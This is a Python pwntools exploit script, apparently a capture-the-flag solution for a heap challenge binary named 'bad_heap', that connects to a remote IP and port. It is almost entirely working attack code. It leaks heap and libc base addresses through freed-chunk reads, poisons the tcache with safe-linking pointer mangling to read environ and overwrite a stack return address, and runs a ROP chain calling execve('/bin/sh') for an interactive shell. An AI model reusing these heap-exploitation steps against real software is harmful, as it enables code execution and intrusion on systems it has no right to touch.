1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' EXE = './bad_heap'
def payload(lo: int): global t if lo: t = process(EXE) if lo & 2: gdb.attach(t) else: t = remote('45.40.247.139', 15453) elf = ELF(EXE) libc = elf.libc
def add(idx: int, size: int, buf: bytes): t.sendlineafter(b'2.dele', b'1') t.sendlineafter(b'idx', str(idx).encode()) t.sendlineafter(b'size', str(size).encode()) t.sendafter(b'content', buf)
def dele(idx: int): t.sendlineafter(b'2.dele', b'2') t.sendlineafter(b'idx', str(idx).encode())
def show(idx: int) -> bytes: t.sendlineafter(b'2.dele', b'3') t.sendlineafter(b'idx:\n', str(idx).encode()) return t.recvuntil(b'1.add\n', True)
for i in range(9): add(i, 0xf8, b'skip') add(9, 0x28, b'guard') for i in range(6, -1, -1): dele(i) dele(8) heap_base = u64(show(6)[:8]) << 12 libc_base = u64(show(8)[:8]) - 0x21ace0 success(GOLD_TEXT(f'Leak heap_base: {heap_base:#x}')) success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}')) libc.address = libc_base
def PROTECT_PTR(ptr: int, val: int): return (ptr >> 12) ^ val
dele(7) add(0, 0xf8, b'skip') dele(8) add(7, 0x1f8, flat({ 0xf8: [0x101, PROTECT_PTR(heap_base, libc.symbols['environ'] - 0x10)], }, filler=b'\0')) add(8, 0xf8, b'skip') add(10, 0xf8, b'whatever') stack = u64(show(10)[0x10:0x18]) success(GOLD_TEXT(f'Leak environ: {stack:#x}'))
gadgets = ROP(libc) chain = [ gadgets.rdi.address, next(libc.search(b'/bin/sh\0')), gadgets.rsi.address, 0, gadgets.rdx.address, 0, 0, libc.symbols['execve'], ]
target = stack - 0x148 info(f'Overwriting add return address @ {target:#x}') dele(8) dele(7) add(7, 0x1f8, flat({ 0xf8: [0x101, PROTECT_PTR(heap_base, target)], }, filler=b'\0')) add(8, 0xf8, b'skip') add(11, 0xf8, flat(0, chain))
t.clean() t.interactive() t.close()
|